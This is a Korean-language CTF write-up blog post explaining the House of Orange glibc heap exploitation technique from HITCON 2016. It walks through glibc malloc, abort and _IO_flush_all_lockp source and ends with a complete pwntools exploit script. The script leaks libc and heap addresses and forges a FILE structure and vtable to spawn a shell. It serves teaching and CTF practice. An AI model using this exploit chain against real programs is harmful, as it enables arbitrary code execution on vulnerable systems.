티스토리 뷰

CTF write-up

2016 HITCON house_of_orange

marshimaro aSiagaming 2017. 10. 7. 01:19

File Stream Oriented Programming을 이용한 heap exploit이 있다.

house of orange라는 것은 예전에 한번 봐두고, 아 아직은 이거는 할 수 없겠다 싶어서 뒤로 미루어 두었던건데...

이제 좀 보면서 이해가 된다.


어떻게 이런식으로 exploit할 생각을 했는지 참 신기하다.... ( 천재인듯... )

라이브러리와 시스템을 얼마나 잘 알고 있다는 건지... ㅎㅎ


glibc malloc특징과, malloc 에러시 abort루틴에서 호출하는 함수를 절묘하게 이용한 exploit이다.



http://4ngelboy.blogspot.kr/2016/10/hitcon-ctf-qual-2016-house-of-orange.html

해당 기법에 대한 설명과 바이너리 분석은 위의 링크가 굉장히 잘 설명하고 있다.





어쨋건, 핵심은 이 루틴을 이용하는 것이였다.

malloc이 에러를 내게되면, abort를 띄우게 되는데, abort 내부는 7개의 스테이지를 실행하게 된다.

2번째 stage에서 fflush(NULL)을 호출하는데, 여기서 fflush는 _IO_flush_all_lockp()함수를 define 해놓은 것이다.


 그리고 위의 코드는 _IO_flush_all_lockp (int do_lock) 의 함수 내부에서 동작하는 루틴이다.


목표는 조건문의 값을 맞춰주어서 _IO_OVERFLOW를 호출하는 것인데,

이 _IO_OVERFLOW라는 것이 또 파일 스트림 구조체의 vtable에 존재한다.



1
2
3
4
5
6
7
8
9
10
11
12
3725   for (;; )
3726     {
3727       int iters = 0;
3728       while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
3729         {
3730           bck = victim->bk;
3731           if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
3732               || __builtin_expect (chunksize_nomask (victim)
3733                    > av->system_mem, 0))
3734             malloc_printerr (check_action, "malloc(): memory corruption",
3735                              chunk2mem (victim), av);
3736           size = chunksize (victim);
cs



abort루틴은 malloc_printerr함수의 내부에서 호출되게 된다.

unsorted bin을 순회하다가 에러를 만나면 해당 함수를 호출하게 되는 것이다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
5398 static void
5399 malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
5400 {
5401   /* Avoid using this arena in future.  We do not attempt to synchronize this
5402      with anything else because we minimally want to ensure that __libc_message
5403      gets its resources safely without stumbling on the current corruption.  */
5404   if (ar_ptr)
5405     set_arena_corrupt (ar_ptr);
5406
5407   if ((action & 5== 5)
5408     __libc_message ((action & 2) ? (do_abort | do_backtrace) : do_message,
5409             "%s\n", str);
5410   else if (action & 1)
5411     {
5412       char buf[2 * sizeof (uintptr_t) + 1];
5413
5414       buf[sizeof (buf) - 1= '\0';
5415       char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 160);
5416       while (cp > buf)
5417         *--cp = '0';
5418
5419       __libc_message ((action & 2) ? (do_abort | do_backtrace) : do_message,
5420               "*** Error in `%s': %s: 0x%s ***\n",
5421                       __libc_argv[0] ? : "<unknown>", str, cp);
5422     }
5423   else if (action & 2)
5424     abort ();
5425 }
cs


action의 2번째 비트가 on이면, abort함수를 실행하게 된다.
 해당 abort함수를 따라가보면 아래와 같이 소스가 구현되어 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 50 void
 51 abort (void)
 52 {
 53   struct sigaction act;
 54   sigset_t sigs;
 55
 56   /* First acquire the lock.  */
 57   __libc_lock_lock_recursive (lock);
 58
 59   /* Now it's for sure we are alone.  But recursive calls are possible.  */
 60
 61   /* Unblock SIGABRT.  */
 62   if (stage == 0)
 63     {
 64       ++stage;
 65       __sigemptyset (&sigs);
 66       __sigaddset (&sigs, SIGABRT);
 67       __sigprocmask (SIG_UNBLOCK, &sigs, 0);
 68     }
 69
 70   /* Flush all streams.  We cannot close them now because the user
 71      might have registered a handler for SIGABRT.  */
 72   if (stage == 1)
 73     {
 74       ++stage;
 75       fflush (NULL);
 76     }
cs


2번째 스테이지에서 ffush(NULL)을 위에서 말한대로 호출을 한다.

그리고 해당 fflush함수는 아래와 같이 정의되어 있다.


1
#define fflush(s) _IO_flush_all_lockp (0)

cs


그리고 여기서 덮어쓸 파일 스트림 구조체는 _IO_list_all 이다.

왜냐하면 아래의 fflush(NULL) [ IO_flush_all_lockp(0) ]의 코드를 보면 알 수 있다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 792 int
 793 _IO_flush_all_lockp (int do_lock)
 794 {
 795   int result = 0;
 796   struct _IO_FILE *fp;
 797   int last_stamp;
 798
 799 #ifdef _IO_MTSAFE_IO
 800   __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
 801   if (do_lock)
 802     _IO_lock_lock (list_all_lock);
 803 #endif
 804
 805   last_stamp = _IO_list_all_stamp;
 806   fp = (_IO_FILE *) _IO_list_all;
cs



_IO_FILE에 대한 구조체포인터 fp를 _IO_list_all의 값으로 넣게 된다.

그리고 _IO_list_all은 _IO_FILE_plus구조체에 대한 구조체포인터이다.


1
struct _IO_FILE_plus *_IO_list_all = &_IO_2_1_stderr_;
cs


그리고 _IO_FILE_plus는 _IO_FILE구조체 + _IO_jump_t라는  vtable로 구성이 되어있다.





사실 이러한 파일 스트림 구조체를 임의로 구성을 해주고, 파일 포인터를 overwrite하는 것자체는 그렇게 놀라운 것이 아니다.

멋지다고 느꼇던 것이,  unsorted bin attack을 이용하여 FILE 구조체 내의 chain 포인터를 이용하는 것이였다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
241 struct _IO_FILE {
242   int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
243 #define _IO_file_flags _flags
244
245   /* The following pointers correspond to the C++ streambuf protocol. */
246   /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
247   char* _IO_read_ptr;   /* Current read pointer */
248   char* _IO_read_end;   /* End of get area. */
249   char* _IO_read_base;  /* Start of putback+get area. */
250   char* _IO_write_base; /* Start of put area. */
251   char* _IO_write_ptr;  /* Current put pointer. */
252   char* _IO_write_end;  /* End of put area. */
253   char* _IO_buf_base;   /* Start of reserve area. */
254   char* _IO_buf_end;    /* End of reserve area. */
255   /* The following fields are used to support backing up and undo. */
256   char *_IO_save_base; /* Pointer to start of non-current get area. */
257   char *_IO_backup_base;  /* Pointer to first valid character of backup area */
258   char *_IO_save_end; /* Pointer to end of non-current get area. */
259
260   struct _IO_marker *_markers;
261
262   struct _IO_FILE *_chain;
cs



파일구조체 일부만 가져와서보면, 위와 같다.

그리고 struct _IO_FILE *_chain 이라는 것이 있는데, 일종의 연결 리스트라고 보면 될 것같다.

다음의 _IO_FILE구조체를 가리키고 말그대로 체인처럼 이어지는 것이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 807   while (fp != NULL)
 808     {
 809       run_fp = fp;
 810       if (do_lock)
 811     _IO_flockfile (fp);
 812
 813       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
 814 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
 815        || (_IO_vtable_offset (fp) == 0
 816            && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
 817                     > fp->_wide_data->_IO_write_base))
 818 #endif
 819        )
 820       && _IO_OVERFLOW (fp, EOF) == EOF)
 821     result = EOF;
 822
 823       if (do_lock)
 824     _IO_funlockfile (fp);
 825       run_fp = NULL;
 826
 827       if (last_stamp != _IO_list_all_stamp)
 828     {
 829       /* Something was added to the list.  Start all over again.  */
 830       fp = (_IO_FILE *) _IO_list_all;
 831       last_stamp = _IO_list_all_stamp;
 832     }
 833       else
 834     fp = fp->_chain;
 835     }
cs



IO_flush_all_lockp()의 코드를 좀 자세히 살펴보면, fp != NULL이 될 때까지 순회한다.

그리고 항상 마지막에는 _chain 값을 참조하여 다음 파일 스트림 구조체를 가져오게 된다.


이 부분이 엄청 멋졌다.


unsorted bin attack을 통해 house_of_orange에서는 _IO_list_all의 값을 main_arena + 88의 값으로 써넣게 된다.

근데 해당 값만 처음에 써넣게되면 원하는대로 동작을 하지 않게 된다.


main_arena는 임의로 overwrite하기 힘들 뿐만아니라, main_arena + 88에는 내가 임의로 가짜 파일스트림 구조체도 존재하지 않는다.

더욱이나, 한번 참조해서 들어가게되면 원래는 파일 스트림 구조체 멤버들의 값들이 정렬되어야 하는데

main_arena + 88이기 때문에, 단순한 main_arena의 멤버들만 존재하게 된다.


여기서 _chain을 이용하는 것이다.


size를 0x61로 설정을 해주게되면, malloc시 unsorted bin을 순회하게 되며, 원하는 size가 아니게되면, 해당하는 bin으로 보내게 된다.

이 경우, 0x61 -> smallbin[4]에 들어가게 된다.


이는 파일 스트림 구조체상의 _chain의 위치에 해당하므로, 자연스럽게 fake file stream struct를 구성해주었던 chunk의 주소가

다음 fp포인터에 들어가게 된다.


따라서, abort가 발생하게되면 원하는 대로 control flow를 hijack할 수 있다.







해당 문제를 봤다는 전제하에 쓴 거긴 하지만.... 조잡하당


그리고 구조체 값을 구성해주는 건, 어찌되었건 _IO_OVERFLOW가 실행되게끔만 구성해주면 된다.

꼭 how2heap이나 그런것에 구성된 것처럼만 구성해줄 필요는 없다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
import sys, time
 
context.binary = "./houseoforange"
binary = ELF("./houseoforange")
 
= process(["./houseoforange"])
 
def buildf(length, name, price, color):
    p.recvuntil("choice : ")
    p.sendline("1")
    p.recvuntil("name :")
    p.sendline(str(length))
    p.recvuntil("Name :")
    p.sendline(name)
    p.recvuntil("Orange:")
    p.sendline(str(price))
    p.recvuntil("Orange:")
    p.sendline(str(color))
 
def seef():
    p.recvuntil("choice : ")
    p.sendline("2")
 
def upgradef(length, name, price, color):
    p.recvuntil("choice : ")
    p.sendline("3")
    p.recvuntil("name :")
    p.sendline(str(length))
    p.recvuntil("Name:")
    p.sendline(name)
    p.recvuntil("Orange: ")
    p.sendline(str(price))
    p.recvuntil("Orange: ")
    p.sendline(str(color))
 
 
buildf(0x80"A" * 0x7f1001)
upgradef(0x200"B" * 0x90 + p32(0x64+ p32(0x1f+ p64(0* 2 + p64(0xf31), 1001)           # upgrade 1
buildf(0x1000"C" * 71002)
buildf(0x400"D" * 71003)
 
# build last 1
 
seef()
p.recvuntil("D" * 7 + "\n")
leak = u64(p.recv(6).ljust(8"\x00"))
libc_base = leak - 1640 - 0x3c4b20
main_arena = libc_base + 0x3c4b20
_IO_list_all = libc_base + 0x3c5520
system = libc_base + 0x45390
log.info("libc_base : " + hex(libc_base))
log.info("_IO_list_all : " + hex(_IO_list_all))
log.info("system : " + hex(system))
 
upgradef(0x500"E" * 151001)       # upgrade 2
seef()
 
p.recvuntil("E" * 15 + "\n")
heap = u64(p.recv(5).ljust(8"\x00"))
 
log.info("heap : " + hex(heap))
 
# offset 0x410
 
exp = "a" * 0x410
exp += p32(0x64+ p32(0x1f+ p64(0)
 
# fake fp
 
exp += "/bin/sh\x00" + p64(0x61)
exp += p64(0xdeadbeef+ p64(_IO_list_all - 0x10)
 
# size : 0xb8
 
#exp += p64(0) * 2 * 5
exp += p64(2+ p64(3+ p64(0* 8
exp += p64(0+ p64(system)
exp += p64(0* 4
exp += p64(heap + 0x430 + 0x90+ p64(3+ p64(4+ p64(0+ p64(2+ p64(0* 2
exp += p64(heap + 0x430 + 0x60)             # vtable
 
upgradef(0x800, exp, 1001)
p.recvuntil("choice : ")
p.sendline("1")
 
p.interactive()
cs



'CTF write-up' 카테고리의 다른 글

Tokyo Westerns CTF 3rd 2017 - Parrot  (0) 2017.10.09
2017 Boston Key Party CTF memo [ 300pt ]  (0) 2017.10.08
2016 HITCON house_of_orange  (0) 2017.10.07
2016 Boston Key Party simple calc  (0) 2017.10.04
TWCTF -_-...  (0) 2017.09.06
BOB CTF megabox [ pwn 450pt ]  (0) 2017.08.11
댓글
댓글쓰기 폼